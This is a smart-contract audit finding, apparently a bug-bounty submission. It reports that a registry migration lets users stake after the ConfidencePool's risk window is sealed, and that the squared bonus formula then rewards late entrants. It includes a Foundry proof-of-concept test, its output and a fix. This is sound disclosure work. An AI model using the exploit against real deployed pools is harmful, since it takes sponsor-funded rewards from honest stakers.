FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

A registry migration can reopen staking after the risk window ends, allowing a late staker to capture nearly the entire bonus pool

Author Revealed upon completion

Root + Impact

Description

ConfidencePool permanently records the end of the risk window in riskWindowEnd when it observes a terminal AttackRegistry state such as PRODUCTION.

Once this terminal timestamp has been recorded, new deposits must never be accepted because the upper bound T used by the bonus formula has already been fixed.

However, stake() determines whether staking is open exclusively from the current live state returned by the configured AttackRegistry:

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
// ...
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
// ...
}

The deposit guard only rejects three live registry states:

function _assertDepositsAllowed(
IAttackRegistry.ContractState state
) private pure {
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION
|| state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
}

It does not check whether the pool has already permanently recorded a terminal state through:

riskWindowEnd != 0

This matters during a supported AttackRegistry replacement or migration.

If the replacement registry temporarily reports a pre-terminal state such as NEW_DEPLOYMENT for an agreement whose pool already observed PRODUCTION, stake() reopens even though riskWindowEnd remains permanently fixed.

A new depositor is then assigned:

newEntry = block.timestamp;

which may be greater than the already-recorded bonus upper bound T.

The bonus calculation expands the quadratic score as:

uint256 userPlus =
T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus =
2 * T * userSumStakeTime[u];
uint256 userScore =
userPlus > userMinus ? userPlus - userMinus : 0;

For a single deposit, this is algebraically equivalent to:

stake × (T - entryTime)^2

Because the difference is squared, an invalid deposit with:

entryTime > T

does not receive zero weight.

Instead, it receives a positive score proportional to:

stake × (entryTime - T)^2

The longer the attacker waits after the actual terminal moment, the larger their bonus score becomes.

The repository already models a benign registry replacement reporting NEW_DEPLOYMENT in:

testWithdrawRemainsDisabledAfterRegistryRewind

The withdrawal path correctly uses the persisted riskWindowStart as a one-way latch so a registry rewind cannot reopen withdrawals.

The staking path has no equivalent persistent terminal-state guard.

Root Cause

The root cause is that deposit authorization uses only the current external registry state and does not consult the pool's own persisted terminal marker, riskWindowEnd.

At the same time, the bonus accounting assumes that every accepted deposit has an entry timestamp less than or equal to T, but this invariant is never enforced.

The combination of these two missing checks allows a post-terminal deposit to receive an increasingly large quadratic bonus weight.

Impact

An attacker can enter after the actual risk period has already ended, bear no protocol risk, and redirect nearly the entire sponsor-funded bonus pool away from honest stakers.

In the provided PoC:

  • Alice stakes 100 tokens.

  • The pool contains a 100 token sponsor-funded bonus.

  • Alice bears the actual risk window.

  • The pool observes PRODUCTION and permanently records riskWindowEnd.

  • A replacement registry temporarily reports NEW_DEPLOYMENT.

  • Bob stakes only 1 token shortly before expiry, after the terminal timestamp.

  • The replacement registry later reports PRODUCTION.

  • The outcome is finalized as SURVIVED.

The resulting payouts are:

Alice principal: 100 tokens
Alice bonus: 0.018111066896516247 tokens
Bob principal: 1 token
Bob bonus: 99.981888933103483752 tokens

Bob deposits only 1% as much principal as Alice and enters after the risk window has ended, but receives approximately 99.9819% of the entire bonus pool.

This causes a direct misallocation of sponsor-funded rewards from honest risk-bearing stakers to an ineligible post-terminal entrant.

Risk

Likelihood

The issue requires a specific operational condition: the configured AttackRegistry must be replaced or migrated and the replacement must temporarily report a pre-terminal state for an agreement whose pool previously observed a terminal state.

This condition is not an arbitrary malicious-registry assumption.

The protocol intentionally reads the AttackRegistry address live from SafeHarborRegistry, and the repository already contains a regression test modeling the same benign registry-rewind condition for the withdrawal path.

Once this condition occurs, exploitation is permissionless. Any user may call stake() before expiry and choose the timing and amount of the post-terminal deposit.

The attacker does not need to control the registry migration, compromise the registry owner, or influence the replacement registry. They only need to observe the temporary stale state and submit a permissionless stake before the agreement state is restored.

Likelihood is therefore assessed as Low because a registry migration or temporary stale state is required.

Impact

Impact is High because sponsor-funded bonus tokens are directly redirected from honest stakers to the late entrant.

The PoC demonstrates that the attacker can capture virtually the entire bonus pool while risking only a minimal amount of principal.

The attack does not require stealing principal from the pool; it directly corrupts the protocol's reward distribution and transfers bonus funds to an ineligible post-terminal participant.

Proof of Concept

Add the following test as:

test/unit/ConfidencePool.postTerminalRewindExtreme.t.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {
IAttackRegistry
} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {
MockAttackRegistry
} from "test/mocks/MockAttackRegistry.sol";
import {
BaseConfidencePoolTest
} from "test/helpers/BaseConfidencePoolTest.sol";
contract ConfidencePoolPostTerminalRewindExtremeTest
is BaseConfidencePoolTest
{
function test_PostTerminalRegistryRewindLetsTinyLateStakerCaptureAlmostAllBonus()
external
{
_stake(alice, 100 * ONE);
_contributeBonus(carol, 100 * ONE);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
pool.pokeRiskWindow();
uint256 start = pool.riskWindowStart();
vm.warp(start + 1 hours);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.PRODUCTION
);
pool.pokeRiskWindow();
uint256 terminalT = pool.riskWindowEnd();
assertEq(
terminalT,
start + 1 hours,
"terminal T must be sealed"
);
MockAttackRegistry migratedRegistry =
new MockAttackRegistry();
migratedRegistry.setAgreementState(
IAttackRegistry.ContractState.NEW_DEPLOYMENT
);
safeHarborRegistry.setAttackRegistry(
address(migratedRegistry)
);
vm.warp(pool.expiry() - 1);
_stake(bob, 1 * ONE);
assertGt(
block.timestamp,
terminalT,
"Bob entered after terminal T"
);
assertEq(
pool.riskWindowEnd(),
terminalT,
"terminal T remains pinned"
);
assertEq(
pool.eligibleStake(bob),
1 * ONE,
"post-terminal stake was accepted"
);
migratedRegistry.setAgreementState(
IAttackRegistry.ContractState.PRODUCTION
);
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 aliceBonus =
token.balanceOf(alice)
- aliceBefore
- 100 * ONE;
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
uint256 bobBonus =
token.balanceOf(bob)
- bobBefore
- 1 * ONE;
assertLt(
aliceBonus,
1 * ONE,
"honest staker receives less than 1% of bonus"
);
assertGt(
bobBonus,
99 * ONE,
"post-terminal entrant captures more than 99% of bonus"
);
assertApproxEqAbs(
aliceBonus + bobBonus,
100 * ONE,
1,
"full bonus distributed except rounding dust"
);
}
}

Run the PoC with:

forge test \
--match-path test/unit/ConfidencePool.postTerminalRewindExtreme.t.sol \
--match-contract ConfidencePoolPostTerminalRewindExtremeTest \
-vvvv

Observed result:

[PASS] test_PostTerminalRegistryRewindLetsTinyLateStakerCaptureAlmostAllBonus()
Alice bonus:
18111066896516247
= 0.018111066896516247 tokens
Bob bonus:
99981888933103483752
= 99.981888933103483752 tokens
Suite result:
1 passed; 0 failed; 0 skipped

The test was executed against repository commit:

58e8ba4ce3f3277866e4926f3140e597f9554a1e

Recommended Mitigation

Treat riskWindowEnd as a permanent local terminal-state latch.

Once it is non-zero, both staking and bonus contributions must remain closed regardless of the current state returned by a replacement registry.

For example:

- function _assertDepositsAllowed(
- IAttackRegistry.ContractState state
- ) private pure {
+ function _assertDepositsAllowed(
+ IAttackRegistry.ContractState state
+ ) private view {
if (
- state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
+ riskWindowEnd != 0
+ || state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION
|| state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
}

This protects both:

stake()
contributeBonus()

because both functions already call _assertDepositsAllowed.

As defense in depth, add a regression invariant ensuring that no accepted deposit can have an effective entry timestamp greater than the already-recorded riskWindowEnd.

A regression test should:

  1. Open the risk window.

  2. Observe PRODUCTION and seal riskWindowEnd.

  3. Replace the registry with one reporting NEW_DEPLOYMENT.

  4. Verify that both stake() and contributeBonus() revert with StakingClosed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!